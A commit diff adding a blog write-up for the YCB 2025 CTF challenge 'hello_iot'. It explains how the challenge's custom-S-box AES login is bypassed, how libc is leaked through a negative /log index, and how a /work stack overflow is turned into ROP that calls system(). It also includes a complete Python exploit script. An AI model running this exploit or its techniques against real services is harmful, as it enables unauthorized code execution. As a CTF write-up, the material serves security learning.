Skip to content

Commit 5e806eb

Browse files
committed
create(ycb2025): add writeup
1 parent 6a4f7cb commit 5e806eb

12 files changed

Lines changed: 802 additions & 0 deletions

File tree

source/_posts/ycb2025/hello_iot.md

Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
---
2+
title: 羊城杯 2025 初赛 - hello_iot
3+
date: 2025/10/13 17:23:00
4+
updated: 2025/10/13 17:23:00
5+
tags:
6+
- httpd
7+
- ROP
8+
- hard to rev
9+
thumbnail: /assets/ycb2025/rcon_sbox.png
10+
excerpt: 通过自定义AES换S盒加密登录验证、利用`/log`泄露libc和指令地址、`/work`触发栈溢出实现RCE获取flag。
11+
---
12+
13+
> 这个IoT站点的鉴权似乎比较严格
14+
15+
## 文件属性
16+
17+
|属性 ||
18+
|------|------|
19+
|Arch |amd64 |
20+
|RELRO|Partial|
21+
|Canary|off |
22+
|NX |on |
23+
|PIE |off |
24+
|strip |yes |
25+
|libc |2.31-0ubuntu9.18|
26+
27+
## 解题思路
28+
29+
看似IoT,实则并非。一个基于 *libmicrohttpd* 的amd64程序,进入`main`函数可以看到使用
30+
*libmicrohttpd* 提供的函数注册HTTP请求处理回调函数,里面是主要逻辑。
31+
32+
如果用户没有登录,则只能访问`login.html`以及`login`接口,
33+
通过验证后可以访问`log``work`接口。其中`work`接口能通过POST记录一些数据,
34+
如果数据中存在`YCB2025`,则输入大量数据还可以触发栈溢出。
35+
使用`log`接口则能使用`index`访问记录进去的数据,如果是负数,则能向低地址访问到GOT表,
36+
从而泄露libc。
37+
38+
最难的反而是怎样登录。在`/login.html`中可以找到临时生成的`KEY`,接着在`login`接口中会做验证。
39+
我们需要使用POST上传十六进制编码的`ciphertext`,经过处理后要和`KEY`相等。
40+
看起来是某种加密算法,虽然经过编译后某些特征不太明显,但是还是能看出这个算法
41+
**解密需要10轮,每块16字节,有rcon数组以及两个S盒**
42+
43+
![rcon and sbox](/assets/ycb2025/rcon_sbox.png)
44+
45+
那么这个算法应该就是aes了。注意到虽然rcon数组和标准aes一致,但是S盒和逆S盒都和标准的不同。
46+
不管怎么说,先让AI生成一个aes加密的算法,然后把里面的S盒换掉,放到gdb里解密试试,
47+
实测没问题,那就可以继续了。
48+
49+
<img src="/assets/ycb2025/test_decrypt.png" width="70%">
50+
51+
接下来思路就很清晰了,先使用`/login.html`获取`KEY`,然后将`KEY`加密后用来登录`/login`
52+
再使用`/work`预存一条shell指令,接着使用`/log`接口泄露libc和预存指令的地址,
53+
最后使用`/work`打栈溢出,调用`system`执行预存的指令。
54+
55+
由于起的方式是microhttpd,因此不能直接调用`system("/bin/sh")`,因为标准输入输出都没有连接到socket上。
56+
使用重定向好像也不行,从头构造一个MHD请求也很麻烦。最后选择将文件写入到当前目录下(如`work.html`),
57+
随后再发一条请求获取文件内容即可。
58+
59+
## EXPLOIT
60+
61+
```python
62+
from pwn import *
63+
from aes import aes_encrypt_block
64+
import re
65+
import sys
66+
import requests
67+
68+
context.arch = 'amd64'
69+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
70+
IP = '45.40.247.139'
71+
PORT = 25642
72+
URL_BASE = f'http://{IP}:{PORT}'
73+
LIBC = './libc-2.31.so'
74+
75+
# Get decrypted key
76+
response = requests.get(f'{URL_BASE}/login.html')
77+
match = re.search(r'<strong>([a-z]+)</strong>', response.text)
78+
assert match
79+
rand_key = match.group(1)
80+
info(f'Retrieve random key: {rand_key}')
81+
82+
# Encrypt the key
83+
cipher = aes_encrypt_block(rand_key.encode(), b'0123456789ABCDEF').hex()
84+
info(f'Try this cipher: {cipher}')
85+
86+
# Login the system
87+
response = requests.post(f'{URL_BASE}/login', data=f'ciphertext={cipher}')
88+
assert response.status_code == 200
89+
90+
# Now test if the key is right and leak libc
91+
response = requests.post(f'{URL_BASE}/log', data='index=-173')
92+
if response.status_code == 401:
93+
warn('Unable to log in!')
94+
sys.exit(1)
95+
assert response.status_code == 200
96+
match = re.search(r'<pre>(0x[a-f0-9]+)</pre>', response.text)
97+
assert match
98+
99+
libc = ELF(LIBC)
100+
libc_base = int(match.group(1), 16) - libc.symbols['malloc']
101+
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
102+
libc.address = libc_base
103+
104+
if len(sys.argv) > 1 and sys.argv[1] == 'next':
105+
# next stage: print flag in work.html
106+
response = requests.get(f'{URL_BASE}/work.html')
107+
assert 'DASCTF' in response.text
108+
success(f'Flag is: {response.text}')
109+
sys.exit(0)
110+
111+
# Before attack, draft a RCE command first
112+
cmd = 'cat /flag > work.html;'
113+
response = requests.post(f'{URL_BASE}/work', data=f'data={cmd}\r\n')
114+
match = re.search(r'Total=(\d+)', response.text)
115+
assert match
116+
slot = int(match.group(1)) - 1
117+
info(f'Hijack httpd to run {cmd} at slot {slot}')
118+
119+
# Then fetch its address
120+
response = requests.post(f'{URL_BASE}/log', data=f'index={slot}')
121+
match = re.search(r'0x[a-f0-9]+', response.text)
122+
assert match
123+
rce = int(match.group(0), 16)
124+
success(GOLD_TEXT(f'Found RCE command on {rce:#x}'))
125+
126+
# Construct a payload to perform ROP
127+
gadgets = ROP(libc)
128+
chain = flat(gadgets.rdi.address, rce,
129+
gadgets.ret.address, # balance stack
130+
libc.symbols['system'],
131+
gadgets.rdi.address, 0,
132+
libc.symbols['exit'])
133+
134+
# Finally trigger the ROP
135+
t = remote(IP, PORT)
136+
payload = b'data=' + pack(0, 0x48 * 8) + chain + b'YCB2025\n\n'
137+
body = f'''POST /work HTTP/1.0\r
138+
Host: {IP}:{PORT}\r
139+
Content-Length: {len(payload)}\r
140+
\r
141+
'''.encode()
142+
t.send(body + payload)
143+
t.close()
144+
```
145+
146+
{% note default fa-flag %}
147+
![flag](/assets/ycb2025/iot_flag.png)
148+
{% endnote %}

0 commit comments

Comments
 (0)